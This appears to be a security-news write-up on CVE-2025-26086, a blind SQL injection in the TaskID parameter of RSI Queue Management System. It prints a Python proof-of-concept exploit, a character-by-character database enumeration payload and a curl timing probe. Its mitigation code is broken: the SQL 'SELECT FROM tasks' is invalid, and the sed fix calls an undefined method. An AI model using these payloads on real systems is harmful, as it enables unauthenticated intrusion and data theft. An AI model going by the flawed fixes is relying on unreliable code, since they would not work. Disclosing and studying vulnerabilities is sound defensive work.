How CVE-2025-26086 Works
The vulnerability occurs in RSI Queue Management System v3.0’s task handling component. When processing GET requests containing a TaskID parameter, the system fails to properly sanitize user input before concatenating it into SQL queries. Attackers can craft malicious payloads with time-delay functions like `SLEEP(5)` or `pg_sleep(5)` to execute blind SQL injection. By observing response times, attackers can infer database structure and extract sensitive information through boolean-based inference attacks. The vulnerability is particularly dangerous as it requires no authentication and can be exploited remotely through simple HTTP requests.

What Undercode Say:
Exploit PoC (Educational purposes only)
import requests
import time
target = "http://victim.com/task_handler"
injection = "1' AND (SELECT 1 FROM (SELECT SLEEP(5))x)-- -"
start = time.time()
requests.get(f"{target}?TaskID={injection}")
if time.time() - start > 4:
print("[+] Vulnerable to time-based SQLi")
-- Database enumeration example 1' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)-- -
Detection command
curl -s -o /dev/null -w "%{time_total}" "http://target/task?TaskID=1'%20AND%20SLEEP(5)-- -"
Mitigation code (parameterized queries)
import psycopg2
def get_task(task_id):
conn = psycopg2.connect("dbname=queue_system")
cursor = conn.cursor()
cursor.execute("SELECT FROM tasks WHERE id = %s", (task_id,))
return cursor.fetchone()
WAF rule for protection
location /task_handler {
if ($args ~ "TaskID=.[';].") {
return 403;
}
}
Temporary fix (input validation) sed -i "s/\$_GET['TaskID']/\$this->validateTaskID(\$_GET['TaskID'])/g" /var/www/html/task_handler.php
